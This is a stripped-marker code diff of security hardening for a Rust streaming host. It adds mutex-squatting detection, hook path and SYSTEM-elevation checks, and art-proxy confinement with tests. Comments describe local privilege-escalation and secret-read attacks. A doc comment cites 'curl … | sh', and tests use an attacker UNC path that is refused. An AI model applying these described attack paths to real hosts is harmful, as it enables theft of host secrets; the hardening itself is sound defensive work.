let h = match CreateMutexW(Some(&sa), false, w!("Global\\punktfunk-vdisplay-manager")) {
Ok(h) => h,
// The name exists but its creator's DACL denies this token the implicit OPEN (the SCM
// service creates it as SYSTEM; a second elevated-admin host lands here instead of in
// the ALREADY_EXISTS branch — validated on-glass). Same meaning: an instance is live.
Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!("{IN_USE}"),
// the ALREADY_EXISTS branch — validated on-glass). Legitimately that means an instance
// is live; it is ALSO exactly what a squat looks like, so say both.
Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!(
"{IN_USE}\n\nIf no other punktfunk-host is running, the name \
`Global\\punktfunk-vdisplay-manager` has been SQUATTED by another process any \
account with SeCreateGlobalPrivilege can create it first and deny us access, \
which disables virtual-display streaming until that process exits. Find the \
holder with Sysinternals `handle.exe -a punktfunk-vdisplay-manager`."
),
Err(e) => {
return Err(e).context("CreateMutexW(punktfunk-vdisplay single-instance guard)");
}
@@ -57,8 +82,114 @@ fn acquire_single_instance() -> Result<OwnedHandle> {
let already = GetLastError() == ERROR_ALREADY_EXISTS;
let owned = OwnedHandle::from_raw_handle(h.0 as _);
if already {
// We opened an existing object — so its DACL let us in, but that says nothing about
// who created it. If the owner is not SYSTEM/Administrators it is not one of ours.
if let Some(owner) = object_owner_sid(h) {
if !is_privileged_sid(&owner) {
anyhow::bail!(
"the pf-vdisplay single-instance name is held by a NON-ADMINISTRATIVE \
process (owner SID {owner}) this is not another punktfunk-host, it is a \
squat on `Global\\punktfunk-vdisplay-manager`, and it blocks all \
virtual-display streaming while it is held."
);
}
}
anyhow::bail!("{IN_USE}");
}
Ok(owned)
}
}
/// `D:P(A;;GA;;;SY)(A;;GA;;;BA)` — a protected DACL (no inheritance) granting Full to SYSTEM and
/// BUILTIN\Administrators, and to nobody else. Everything that legitimately manages pf-vdisplay is
/// one of those two; a LocalService plugin runner is neither, so it can no longer open our object.
fn security_descriptor() -> Result<LocalSd> {
use windows::Win32::Security::Authorization::ConvertStringSecurityDescriptorToSecurityDescriptorW;
use windows::Win32::Security::Authorization::SDDL_REVISION_1;
let mut psd = PSECURITY_DESCRIPTOR::default();
// SAFETY: the SDDL literal is NUL-terminated (`w!`), and `psd` is a live out-param whose
// allocation is taken over by `LocalSd` below.
unsafe {
ConvertStringSecurityDescriptorToSecurityDescriptorW(
w!("D:P(A;;GA;;;SY)(A;;GA;;;BA)"),
SDDL_REVISION_1,
&mut psd,
None,
)
}
.context("build the pf-vdisplay single-instance security descriptor")?;
Ok(LocalSd(psd.0))
}
/// Owns a `LocalAlloc`'d security descriptor and frees it on drop.
struct LocalSd(*mut core::ffi::c_void);
impl Drop for LocalSd {
fn drop(&mut self) {
if !self.0.is_null() {
// SAFETY: the pointer came from ConvertStringSecurityDescriptorToSecurityDescriptorW,
// which documents LocalFree as the matching deallocation.
unsafe {
let _ = windows::Win32::Foundation::LocalFree(Some(
windows::Win32::Foundation::HLOCAL(self.0),
));
}
self.0 = std::ptr::null_mut();
}
}
}
/// The owner SID of a kernel object, as an SDDL string. `None` when it cannot be read (the handle
/// lacks READ_CONTROL) — treated as "unknown", never as "fine".
fn object_owner_sid(h: HANDLE) -> Option<String> {
use windows::Win32::Foundation::{LocalFree, HLOCAL};
use windows::Win32::Security::Authorization::{
ConvertSidToStringSidW, GetSecurityInfo, SE_KERNEL_OBJECT,
};
use windows::Win32::Security::{OWNER_SECURITY_INFORMATION, PSID};
let mut owner = PSID::default();
let mut sd = PSECURITY_DESCRIPTOR::default();
// SAFETY: `h` is the live mutex handle; the out-params are live locals; `sd` is the single
// allocation and is LocalFree'd below.
let rc = unsafe {
GetSecurityInfo(
h,
SE_KERNEL_OBJECT,
OWNER_SECURITY_INFORMATION,
Some(&mut owner),
None,
None,
None,
Some(&mut sd),
)
};
let out = if rc.is_ok() && !owner.is_invalid() {
let mut sid_str = windows::core::PWSTR::null();
// SAFETY: `owner` points into `sd` and is a valid SID; `sid_str` is a live out-param whose
// LocalAlloc'd string is freed immediately below.
unsafe {
if ConvertSidToStringSidW(owner, &mut sid_str).is_ok() && !sid_str.is_null() {
let text = sid_str.to_string().unwrap_or_default();
let _ = LocalFree(Some(HLOCAL(sid_str.0 as _)));
Some(text)
} else {
None
}
}
} else {
None
};
// SAFETY: `sd` is the LocalAlloc'd descriptor GetSecurityInfo returned (null when it failed,
// which LocalFree tolerates).
unsafe {
let _ = LocalFree(Some(HLOCAL(sd.0)));
}
out
}
/// SYSTEM, BUILTIN\Administrators, or a member of the Administrators-owned set — the principals a
/// legitimate pf-vdisplay manager runs as.
fn is_privileged_sid(sid: &str) -> bool {
matches!(sid, "S-1-5-18" | "S-1-5-32-544") || sid.starts_with("S-1-5-80-") // service SIDs
}
+10 -2
View File
@@ -26,6 +26,14 @@ impl ServerIdentity {
let dir = config_dir();
let cert_path = dir.join("cert.pem");
let key_path = dir.join("key.pem");
// Harden the directory BEFORE the first read, not only in the branch that generates a new
// identity (2026-08-05 review M-1). Reading first is what made the hardening pointless
// against the attack it was written for: combined with H-4's pre-creatable
// `%ProgramData%\punktfunk`, a local user could plant a cert/key pair and have it adopted
// verbatim as the host's long-lived identity — the QUIC server key, the mgmt-API TLS key and
// the RSA pairing signer all becoming a key the attacker holds. The compromise is permanent:
// this function never regenerates while both files are non-empty.
pf_paths::create_private_dir(&dir).ok();
let (cert_pem, key_pem) = match (
fs::read_to_string(&cert_path),
fs::read_to_string(&key_path),
@@ -35,8 +43,8 @@ impl ServerIdentity {
let (c, k) = generate()?;
// The private key is the trust root for EVERY surface (TLS server cert, pairing
// signing, the QUIC identity clients pin) — write it owner-only (0600 / SYSTEM-only
// DACL) so a local user can't read it and impersonate the host. The dir is 0700.
pf_paths::create_private_dir(&dir).ok();
// DACL) so a local user can't read it and impersonate the host. The dir is already
// 0700 / SYSTEM+Admins from the unconditional hardening above.
pf_paths::write_secret_file(&key_path, k.as_bytes())
.with_context(|| format!("write {}", key_path.display()))?;
// The cert is public (handed to clients), but write it owner-only too for consistency.
+133 -27
View File
@@ -432,44 +432,124 @@ fn flatten_env(ev: &crate::events::HostEvent) -> Vec<(String, String)> {
out
}
/// The sshd/sudoers rule (RFC §9.1): when the command's first token is a path to an existing
/// file, refuse to run it unless it is owned by the host user (or root) and not
/// group/world-writable — a world-writable hook script is privilege escalation bait. A bare
/// command name (`systemctl`, `curl`) is left to PATH.
/// The sshd/sudoers rule (RFC §9.1): refuse to run a command that references a script/binary which
/// is group/world-writable, or owned by neither the host user nor root — a world-writable hook
/// script is privilege-escalation bait. A bare command name (`systemctl`, `curl`) is left to PATH.
///
/// **This is a hygiene rule, not an authorization gate**, and the distinction matters: it
/// constrains *who owns the file being run*, never *what the command does*. `curl … | sh` and
/// `python3 -c '…'` are unconstrained by construction, and `/bin/sh -c '<anything>'` passes because
/// `/bin/sh` is root-owned. Whoever may WRITE a hook already has command execution as the host
/// user — which is why writing them is admin-only. A pass here does not mean "this command is
/// safe", and nothing should be granted on the strength of it.
///
/// It checks EVERY absolute-path token, not just the first (2026-08-05 review L-12). Looking only
/// at `cmd.split_whitespace().next()` meant `bash /opt/x/hook.sh`, `sh -c /tmp/x` and any quoted
/// path skipped the check entirely — so the interpreter was vetted and the script it ran was not,
/// which is backwards: the script is the part an attacker can plant.
#[cfg(unix)]
fn exec_path_check(cmd: &str) -> Result<(), String> {
use std::os::unix::fs::MetadataExt;
let Some(first) = cmd.split_whitespace().next() else {
if cmd.split_whitespace().next().is_none() {
return Err("empty command".into());
};
if !first.starts_with('/') {
return Ok(());
}
let meta = match std::fs::metadata(first) {
Ok(m) => m,
Err(_) => return Ok(()), // not an existing file — the shell will report it
};
if !meta.is_file() {
return Ok(());
}
// SAFETY: geteuid has no preconditions and touches no memory.
let euid = unsafe { libc::geteuid() };
if meta.uid() != euid && meta.uid() != 0 {
return Err(format!(
"{first} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \
owned by the operator or root",
meta.uid()
));
}
if meta.mode() & 0o022 != 0 {
return Err(format!(
"{first} is group/world-writable (mode {:o}) — chmod go-w it first",
meta.mode() & 0o7777
));
for raw in cmd.split_whitespace() {
// Tolerate the quoting a hand-written command line carries — a path that is absolute only
// after unquoting is exactly as plantable as a bare one.
let token = raw.trim_matches(|c| c == '"' || c == '\'');
if !token.starts_with('/') {
continue;
}
let meta = match std::fs::metadata(token) {
Ok(m) => m,
Err(_) => continue, // not an existing file — the shell will report it
};
if !meta.is_file() {
continue;
}
if meta.uid() != euid && meta.uid() != 0 {
return Err(format!(
"{token} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \
owned by the operator or root",
meta.uid()
));
}
if meta.mode() & 0o022 != 0 {
return Err(format!(
"{token} is group/world-writable (mode {:o}) — chmod go-w it first",
meta.mode() & 0o7777
));
}
}
Ok(())
}
/// Whether this process is running as `NT AUTHORITY\SYSTEM` (S-1-5-18) — i.e. as the SCM service
/// rather than as the operator's own console process.
///
/// Used to decide whether the in-process hook fallback is acceptable: as the operator it is the
/// privilege they already have, as SYSTEM it is an elevation the hook contract forbids
/// (2026-08-05 review L-13). Fails CLOSED — an unreadable token is treated as SYSTEM, because the
/// consequence of guessing wrong in that direction is a skipped hook, and in the other direction
/// it is a SYSTEM command.
#[cfg(windows)]
fn running_as_system() -> bool {
use windows::Win32::Foundation::HANDLE;
use windows::Win32::Security::{
CreateWellKnownSid, EqualSid, GetTokenInformation, TokenUser, WinLocalSystemSid, PSID,
SECURITY_MAX_SID_SIZE, TOKEN_QUERY, TOKEN_USER,
};
use windows::Win32::System::Threading::{GetCurrentProcess, OpenProcessToken};
let mut token = HANDLE::default();
// SAFETY: pseudo-handle from GetCurrentProcess; `token` is a live out-param.
if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) }.is_err() {
return true; // fail closed
}
let mut buf = [0u8; 256];
let mut len = 0u32;
// SAFETY: `buf` is a writable local of the length passed; `len` is a live out-param.
let got = unsafe {
GetTokenInformation(
token,
TokenUser,
Some(buf.as_mut_ptr().cast()),
buf.len() as u32,
&mut len,
)
};
// SAFETY: the token handle came from OpenProcessToken and is not used after this.
unsafe {
let _ = windows::Win32::Foundation::CloseHandle(token);
}
if got.is_err() {
return true; // fail closed
}
let mut system = [0u8; SECURITY_MAX_SID_SIZE as usize];
let mut cb = system.len() as u32;
// SAFETY: the buffer is SECURITY_MAX_SID_SIZE, the documented maximum SID size.
if unsafe {
CreateWellKnownSid(
WinLocalSystemSid,
None,
Some(PSID(system.as_mut_ptr().cast())),
&mut cb,
)
}
.is_err()
{
return true; // fail closed
}
// SAFETY: `buf` holds a TOKEN_USER written by GetTokenInformation; its `User.Sid` points into
// the same buffer, and both SIDs are valid for this comparison.
unsafe {
let tu = &*(buf.as_ptr() as *const TOKEN_USER);
EqualSid(tu.User.Sid, PSID(system.as_mut_ptr().cast())).is_ok()
}
}
#[cfg(not(unix))]
fn exec_path_check(_cmd: &str) -> Result<(), String> {
// Windows: hooks.json lives in the SYSTEM/Admins-DACL'd config dir and the command runs in
@@ -580,7 +660,33 @@ fn run_hook_process(
// report "ran" (prep `undo`s stay armed).
true
}
Err(e) if running_as_system() => {
// NO in-process fallback when we are SYSTEM.
//
// `spawn_in_active_session` fails whenever there is no interactive user — pre-login, at
// boot, on a logged-off box — and the fallback below then ran the operator's command
// line through `cmd.exe /C` IN THIS PROCESS. As the SCM service that process is
// LocalSystem, so a hook the module contract promises runs "in the interactive session,
// never SYSTEM" quietly became a SYSTEM command, at the exact moments nobody is watching
// the screen, with no ownership check on the script (`exec_path_check` is a no-op on
// Windows) — 2026-08-05 review L-13.
//
// Refusing is the honest behaviour: the contract says these run as the user, and if
// there is no user there is nothing to run them as. A hook that must run without a
// logged-in user belongs in a service, not here.
tracing::warn!(
cmd = %cmd,
error = %format!("{e:#}"),
"hook SKIPPED: no interactive user session to run it in, and this host is SYSTEM — \
hooks run as the logged-in user by design and are never elevated to SYSTEM"
);
let _ = std::fs::remove_file(&json_path);
false
}
Err(e) => {
// Not SYSTEM (a hand-run `punktfunk-host serve` in the operator's own console): running
// in-process is the same privilege the operator already has, which is the whole trust
// model for hooks.
tracing::debug!(error = %format!("{e:#}"),
"interactive-session spawn unavailable — running hook in-console");
let mut ok = false;
+334 -57
View File
@@ -225,34 +225,197 @@ fn percent_decode(s: &str) -> String {
String::from_utf8(out).unwrap_or_else(|_| s.to_string())
}
/// The filesystem roots the art proxy is allowed to read from.
///
/// The proxy runs in the **host process** — LocalSystem on Windows — and both the path and the
/// read-back are reachable from the plugin lane, which runs as the much weaker LocalService. Without
/// a root, "serve this entry's cover" is "read any file on the box as SYSTEM" (2026-08-05 review
/// H-2): `mgmt-token`, `key.pem`, the SAM hive. So the value is confined here, at the one place
/// bytes are read, rather than trusted because of where it was written.
///
/// Default: the users base (`C:\Users`), which is where every launcher keeps its art cache —
/// Playnite, the only local-art provider, stores covers under `%APPDATA%\Playnite`. Derived from
/// `%PUBLIC%`'s parent because the host runs as SYSTEM, whose own `%USERPROFILE%` is
/// `…\config\systemprofile` and tells us nothing about where the operator's launchers live.
/// `PUNKTFUNK_LIBRARY_ART_ROOTS` (`;`-separated) replaces the default for an operator whose library
/// is on another drive.
fn art_roots() -> Vec<PathBuf> {
if let Some(configured) = std::env::var_os("PUNKTFUNK_LIBRARY_ART_ROOTS") {
return std::env::split_paths(&configured)
.filter(|p| !p.as_os_str().is_empty())
.collect();
}
let mut roots = Vec::new();
// `%PUBLIC%` is `C:\Users\Public` on every supported Windows; its parent is the users base.
if let Some(public) = std::env::var_os("PUBLIC") {
if let Some(base) = PathBuf::from(public).parent() {
roots.push(base.to_path_buf());
}
}
if roots.is_empty() {
if let Some(drive) = std::env::var_os("SystemDrive") {
roots.push(PathBuf::from(drive).join("Users"));
}
}
// POSIX: the user's home, which is the exact analogue of the Windows users base above — and
// where every launcher this host reads art from actually keeps it. Steam's
// `appcache/librarycache` and `userdata/<id>/config/grid`, Lutris's `coverart`/`banners` (both
// the `~/.local/share` and `~/.cache` copies), Heroic's caches, and all three Flatpak
// `~/.var/app/…` variants are under it.
//
// Needed because `is_local_art_path` now classifies POSIX absolute paths as local art (the
// extracted Lutris/Steam plugins emit them). Before that widening this list was legitimately
// empty here: the only local-art provider was Playnite, which is Windows-only, so nothing on a
// POSIX host was ever classified local and the confinement had nothing to confine. Leaving it
// empty now would not be "secure by default" — it would silently serve no plugin art at all.
//
// Breadth matches what Windows already ships, and it is not the load-bearing control: a value
// still has to carry an image extension, canonicalize to a real regular file inside a root,
// sit outside the host config dir, and CONTAIN image bytes. `PUNKTFUNK_LIBRARY_ART_ROOTS`
// narrows or relocates this for a library that lives elsewhere.
#[cfg(not(windows))]
if let Some(home) = std::env::var_os("HOME") {
let home = PathBuf::from(home);
if !home.as_os_str().is_empty() {
roots.push(home);
}
}
roots
}
/// Whether `path` resolves inside one of [`art_roots`] and outside the host config dir.
///
/// Canonicalizes first, so a junction/symlink pointing out of the root is resolved before the
/// containment test rather than after it. The config-dir exclusion is unconditional — it holds even
/// if an operator's `PUNKTFUNK_LIBRARY_ART_ROOTS` were to contain it — because that directory is
/// where every host secret lives.
fn art_path_is_confined(path: &Path) -> bool {
// A UNC value (`\\attacker\share\a.png`) is refused outright: reading it would coerce the host's
// machine account into outbound SMB authentication to a peer of the caller's choosing.
if path.to_string_lossy().starts_with(r"\\") {
return false;
}
let Ok(real) = path.canonicalize() else {
return false;
};
if let Ok(config) = pf_paths::config_dir().canonicalize() {
if real.starts_with(&config) {
return false;
}
}
art_roots()
.iter()
.filter_map(|r| r.canonicalize().ok())
.any(|root| real.starts_with(&root))
}
/// Sniff an image container from its leading bytes → the content type to serve. `None` for anything
/// that is not a recognized image.
///
/// The proxy serves what the bytes ARE, not what the extension claims, and refuses to serve at all
/// when they are not an image — which is what keeps an extensionless secret like `mgmt-token` (or a
/// `key.pem` renamed `cover.png`) from being returned as `application/octet-stream`.
fn sniff_image_type(bytes: &[u8]) -> Option<&'static str> {
let starts = |sig: &[u8]| bytes.starts_with(sig);
if starts(&[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A]) {
return Some("image/png");
}
if starts(&[0xFF, 0xD8, 0xFF]) {
return Some("image/jpeg");
}
if starts(b"GIF87a") || starts(b"GIF89a") {
return Some("image/gif");
}
if starts(b"RIFF") && bytes.len() >= 12 && &bytes[8..12] == b"WEBP" {
return Some("image/webp");
}
if starts(b"BM") {
return Some("image/bmp");
}
if starts(&[0x00, 0x00, 0x01, 0x00]) {
return Some("image/x-icon");
}
// TGA has no magic number. Validate the fixed header fields instead (colour-map type is 0/1,
// image type is one of the six defined codes) — enough that no plausible secret passes.
if bytes.len() >= 18
&& matches!(bytes[1], 0 | 1)
&& matches!(bytes[2], 0 | 1 | 2 | 3 | 9 | 10 | 11)
{
return Some("image/x-tga");
}
None
}
/// Whether a local art path is servable at all: known image extension, inside an allowed root. The
/// write-time half of the art confinement — [`validate_art_paths`] refuses to persist a value this
/// rejects, so an out-of-root path never reaches the catalog in the first place, and
/// [`local_art_bytes`] re-checks at read time so an entry written before this existed is still safe.
pub fn art_path_is_servable(value: &str) -> bool {
let p = Path::new(value);
let ext_ok = p
.extension()
.and_then(|e| e.to_str())
.map(|e| e.to_ascii_lowercase())
.is_some_and(|e| {
matches!(
e.as_str(),
"jpg" | "jpeg" | "png" | "webp" | "gif" | "bmp" | "ico" | "tga"
)
});
ext_ok && art_path_is_confined(p)
}
/// Reject any **local-file** art value that the proxy would refuse to serve, so an unservable path
/// (out of root, not an image, a UNC share) can never be persisted. URLs and already-proxied paths
/// are not this function's business and pass through. `Err` carries the offending field name.
pub fn validate_art_paths(art: &Artwork) -> Result<(), String> {
for (field, value) in [
("portrait", &art.portrait),
("hero", &art.hero),
("logo", &art.logo),
("header", &art.header),
] {
let Some(v) = value.as_deref() else { continue };
if is_local_art_path(v) && !art_path_is_servable(v) {
return Err(format!(
"art.{field}: local art must be an image file (jpg/png/webp/gif/bmp/ico/tga) inside \
an allowed art root set PUNKTFUNK_LIBRARY_ART_ROOTS if the library lives \
elsewhere, or send an http(s) URL instead"
));
}
}
Ok(())
}
/// Read a local image file into `(bytes, content-type)` for the art proxy. `None` if it isn't an
/// existing regular file, is empty, or exceeds 16 MiB (a cover never approaches that; the cap bounds
/// host memory). Content-type is guessed from the extension. Accepts every shape
/// [`is_local_art_path`] does — a `file://` value is converted to a path first.
/// existing regular file, is empty, exceeds 16 MiB (a cover never approaches that; the cap bounds
/// host memory), resolves outside the allowed art roots ([`art_path_is_confined`]), or does not
/// actually contain an image ([`sniff_image_type`]).
///
/// This is the single place local art bytes are read — the mgmt art proxy and the GameStream
/// `/appasset` proxy both land here — so the confinement holds for every caller.
///
/// A `file://` value is converted to a path FIRST ([`file_url_to_path`]), so the confinement check
/// and the read see the same decoded path. Ordering matters: percent-decoding before
/// canonicalization is what stops a `%2e%2e` escape being invisible to the traversal check.
pub fn local_art_bytes(path: &str) -> Option<(Vec<u8>, String)> {
let path = file_url_to_path(path);
if !art_path_is_servable(&path) {
tracing::debug!(
path = %path,
"art proxy: refusing a path outside the allowed art roots"
);
return None;
}
let p = std::path::Path::new(&*path);
let meta = std::fs::metadata(p).ok()?;
if !meta.is_file() || meta.len() == 0 || meta.len() > 16 * 1024 * 1024 {
return None;
}
let ctype = match p
.extension()
.and_then(|e| e.to_str())
.map(|e| e.to_ascii_lowercase())
.as_deref()
{
Some("jpg" | "jpeg") => "image/jpeg",
Some("png") => "image/png",
Some("webp") => "image/webp",
Some("gif") => "image/gif",
Some("bmp") => "image/bmp",
Some("ico") => "image/x-icon",
Some("tga") => "image/x-tga",
_ => "application/octet-stream",
}
.to_string();
Some((std::fs::read(p).ok()?, ctype))
let bytes = std::fs::read(p).ok()?;
// Serve what the bytes ARE. A file that is not an image is not served at all.
let ctype = sniff_image_type(&bytes)?;
Some((bytes, ctype.to_string()))
}
/// Resolve one art value to bytes for the Moonlight `/appasset` proxy: a local host file
@@ -493,25 +656,27 @@ mod tests {
);
}
/// A POSIX local cover — the shape the lutris pilot and the steam plugin emit — makes the whole
/// round trip: detected as local, rewritten to the proxy path, and read back as bytes. This is
/// the case G4 blocked (Lutris art was inlined as `data:` URLs and blew the 2 MB body limit).
/// A POSIX local cover — the shape the lutris and steam plugins emit — is classified as local
/// art and rewritten to the proxy path. This is the case G4 blocked (Lutris art was inlined as
/// `data:` URLs and blew the 2 MB body limit at 49 covers).
///
/// Deliberately free of filesystem and env: the READ half is confined, and lives in
/// `local_art_bytes_is_confined_and_image_only` so that only ONE test mutates
/// `PUNKTFUNK_LIBRARY_ART_ROOTS` (cargo runs these in parallel threads of one process, so two
/// would race).
#[test]
fn posix_local_art_round_trips_through_the_proxy() {
let dir = std::env::temp_dir().join(format!("pf-art-posix-{}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
let f = dir.join("cover.jpg");
std::fs::write(&f, [9u8, 9, 9]).unwrap();
let path = f.to_str().unwrap().to_string();
fn posix_local_art_is_classified_and_proxied() {
let path = if cfg!(windows) {
r"C:\covers\cover.jpg".to_string()
} else {
"/home/u/.cache/lutris/coverart/cover.jpg".to_string()
};
let mut art = Artwork {
portrait: Some(path.clone()),
hero: Some(format!("file://{path}")),
logo: Some("https://cdn/l.png".into()),
header: None,
};
// Only on non-Windows is a temp path POSIX-absolute; on Windows it is drive-absolute, which
// the pre-existing rule already accepted — either way both fields are local.
assert!(is_local_art_path(&path));
proxy_local_art("lutris:42", &mut art);
assert_eq!(
@@ -529,37 +694,149 @@ mod tests {
let before = art.portrait.clone();
proxy_local_art("lutris:42", &mut art);
assert_eq!(art.portrait, before);
}
// Both spellings read back to the same bytes.
assert_eq!(local_art_bytes(&path).expect("bare path").0, vec![9, 9, 9]);
assert_eq!(
local_art_bytes(&format!("file://{path}"))
.expect("file url")
.0,
vec![9, 9, 9]
const PNG: &[u8] = &[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A, 0, 0, 0, 13];
/// The art proxy reads bytes in the HOST process (LocalSystem on Windows) from a path the
/// plugin lane can write — so what it will and will not read IS the security boundary
/// (2026-08-05 review H-2). Confinement, extension, and content are all load-bearing.
#[test]
fn local_art_bytes_is_confined_and_image_only() {
let dir = std::env::temp_dir().join(format!("pf-art-test-{}", std::process::id()));
let outside = std::env::temp_dir().join(format!("pf-art-out-{}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
std::fs::create_dir_all(&outside).unwrap();
// Confine the proxy to `dir` for the duration of this test.
std::env::set_var("PUNKTFUNK_LIBRARY_ART_ROOTS", &dir);
// A real image inside the root: served, with the content type SNIFFED from the bytes.
let cover = dir.join("cover.png");
std::fs::write(&cover, PNG).unwrap();
let (bytes, ctype) = local_art_bytes(cover.to_str().unwrap()).expect("reads a real cover");
assert_eq!(bytes, PNG);
assert_eq!(ctype, "image/png");
// A secret is not served, however it is dressed up. This is the H-2 primitive: the plugin
// writes the path, the host reads it as SYSTEM, and `mgmt-token` is full admin.
let secret = dir.join("mgmt-token");
std::fs::write(&secret, b"super-secret-admin-token").unwrap();
assert!(
local_art_bytes(secret.to_str().unwrap()).is_none(),
"an extensionless secret must not be served as application/octet-stream"
);
let disguised = dir.join("mgmt-token.png");
std::fs::write(&disguised, b"super-secret-admin-token").unwrap();
assert!(
local_art_bytes(disguised.to_str().unwrap()).is_none(),
"an image extension must not be enough — the bytes must BE an image"
);
// Outside the configured root: refused even though it is a genuine image.
let elsewhere = outside.join("cover.png");
std::fs::write(&elsewhere, PNG).unwrap();
assert!(
local_art_bytes(elsewhere.to_str().unwrap()).is_none(),
"a path outside every art root must be refused"
);
// …and a path that only *escapes* via traversal is caught, because we canonicalize first.
let traversal = dir
.join("..")
.join(outside.file_name().unwrap())
.join("cover.png");
assert!(
local_art_bytes(traversal.to_str().unwrap()).is_none(),
"`..` out of the root must be refused after canonicalization"
);
assert!(local_art_bytes(dir.join("nope.png").to_str().unwrap()).is_none());
// A directory is not a servable cover — the proxy must never become a directory reader.
assert!(local_art_bytes(dir.to_str().unwrap()).is_none());
// The `file://` plugin contract reaches the SAME bytes through the SAME gate. This is the
// half that matters for the extracted scanners: they emit `file://` values, so if the
// conversion happened after the confinement check the check would be inspecting a string
// that is not the path being read.
let as_url = format!("file://{}", cover.to_str().unwrap());
assert_eq!(
local_art_bytes(&as_url)
.expect("file:// reads the same cover")
.0,
PNG
);
// …and a `file://` value is confined exactly like a bare one — no bypass by spelling.
assert!(
local_art_bytes(&format!("file://{}", elsewhere.to_str().unwrap())).is_none(),
"file:// must not escape the art roots"
);
// Percent-encoded traversal is decoded BEFORE canonicalization, so it cannot hide from the
// `..` check.
assert!(
local_art_bytes(&format!(
"file://{}/%2e%2e/{}/cover.png",
dir.to_str().unwrap(),
outside.file_name().unwrap().to_str().unwrap()
))
.is_none(),
"percent-encoded traversal must be refused"
);
// A UNC path is refused outright (outbound SMB auth coercion), before any filesystem hit.
assert!(!art_path_is_servable(r"\\attacker\share\a.png"));
std::env::remove_var("PUNKTFUNK_LIBRARY_ART_ROOTS");
let _ = std::fs::remove_dir_all(&dir);
let _ = std::fs::remove_dir_all(&outside);
}
/// Write-time validation refuses what read-time would refuse, so an unservable path never even
/// reaches `library.json`. URLs are none of its business.
#[test]
fn validate_art_paths_rejects_unservable_local_paths() {
let ok = Artwork {
portrait: Some("https://cdn/x.jpg".into()),
hero: Some("data:image/png;base64,AAAA".into()),
logo: Some("/api/v1/library/art/custom:x/logo".into()),
header: None,
};
assert!(validate_art_paths(&ok).is_ok(), "URLs pass through");
let unc = Artwork {
portrait: Some(r"\\attacker\share\a.png".into()),
..Default::default()
};
assert!(
validate_art_paths(&unc).is_err(),
"UNC is refused at write time"
);
let secret = Artwork {
hero: Some(r"C:\ProgramData\punktfunk\mgmt-token".into()),
..Default::default()
};
let err = validate_art_paths(&secret).expect_err("a secret path is refused");
assert!(
err.starts_with("art.hero"),
"the error names the field: {err}"
);
}
#[test]
fn local_art_bytes_reads_a_real_file() {
let dir = std::env::temp_dir().join(format!("pf-art-test-{}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
let f = dir.join("cover.png");
std::fs::write(&f, [1u8, 2, 3, 4]).unwrap();
let (bytes, ctype) = local_art_bytes(f.to_str().unwrap()).expect("reads file");
assert_eq!(bytes, vec![1, 2, 3, 4]);
assert_eq!(ctype, "image/png");
assert!(local_art_bytes(dir.join("nope.png").to_str().unwrap()).is_none());
// A directory is not a servable cover, and neither is a traversal that lands on one — the
// "existing REGULAR file" check is the confinement, since a plugin's art values are
// operator-trusted paths but must still never turn the proxy into a directory reader.
assert!(local_art_bytes(dir.to_str().unwrap()).is_none());
let up = dir.join("..").join(dir.file_name().unwrap());
assert!(
local_art_bytes(up.to_str().unwrap()).is_none(),
"dir via .."
fn sniff_image_type_recognizes_containers_and_rejects_secrets() {
assert_eq!(sniff_image_type(PNG), Some("image/png"));
assert_eq!(
sniff_image_type(&[0xFF, 0xD8, 0xFF, 0xE0]),
Some("image/jpeg")
);
let _ = std::fs::remove_dir_all(&dir);
assert_eq!(sniff_image_type(b"GIF89a...."), Some("image/gif"));
assert_eq!(
sniff_image_type(b"RIFF\0\0\0\0WEBPVP8 "),
Some("image/webp")
);
assert_eq!(sniff_image_type(b"BM\0\0"), Some("image/bmp"));
// The shapes a stolen secret actually has.
assert_eq!(sniff_image_type(b"-----BEGIN PRIVATE KEY-----"), None);
assert_eq!(sniff_image_type(b"9f8a7b6c5d4e3f2a1b0c"), None);
assert_eq!(sniff_image_type(b""), None);
}
}
@@ -359,6 +359,35 @@ pub fn delete_custom(id: &str) -> Result<MutateOutcome<()>> {
// ------------------------------------------------------------------ providers (RFC §8)
/// The **operator-privileged field** set in a library payload, if the payload carries one — the
/// fields whose contents the host later executes as the host user.
///
/// `prep` is run by [`crate::hooks::run_prep`] through `/bin/sh -c`, and a `command` launch is run
/// through `/bin/sh -c` (Linux) or `cmd.exe /c` (Windows). Both are documented at their execution
/// sites as *operator-typed, never client-set* — the custom store's whole trust argument is that a
/// human typed the command into the admin console. Any lane that is not the operator's own token
/// must therefore not be able to set them, which is what the 2026-08-05 review's H-1 exploited: the
/// plugin token reached `POST /library/custom` and `PUT /library/provider/{p}`, which carry two
/// copies of the very primitive the `/hooks` carve-out exists to withhold.
///
/// Returns the field name for the error message, so a plugin author sees exactly what was refused.
/// The other launch kinds (`steam_appid`, `steam_ui`, `launcher_ui`, `epic`, `gog`, `aumid`,
/// `lutris_id`, `heroic`) are all
/// host-resolved from a validated id and stay open to every lane — a provider plugin can still
/// publish its whole catalogue, it just cannot hand the host a shell command to run.
pub fn privileged_field(
launch: Option<&LaunchSpec>,
prep: &[crate::hooks::PrepCmd],
) -> Option<&'static str> {
if !prep.is_empty() {
return Some("prep");
}
if launch.is_some_and(|l| l.kind == "command") {
return Some("launch.kind = \"command\"");
}
None
}
/// Provider ids are path segments, event sources, and console labels: keep them tame.
/// `manual` is reserved (it is the no-provider sentinel in `library.changed`).
pub fn validate_provider_name(provider: &str) -> Result<(), String> {
@@ -423,6 +452,15 @@ pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), St
"entries[{i}]: `launch.value` for kind `steam_ui` must be `bigpicture` or `desktop`"
));
}
// Refused rather than silently accepted, because the failure is otherwise invisible
// until a user clicks the tile: an unresolvable value yields no command at launch time.
if launch.kind == "launcher_ui" && !valid_launcher_ui(&launch.value) {
return Err(format!(
"entries[{i}]: `launch.value` for kind `launcher_ui` names a launcher this host \
cannot open (`{}`)",
launch.value
));
}
}
if let Some(marker) = &e.detect.env_marker {
if !valid_env_key(&marker.key) {
@@ -906,6 +944,35 @@ mod tests {
);
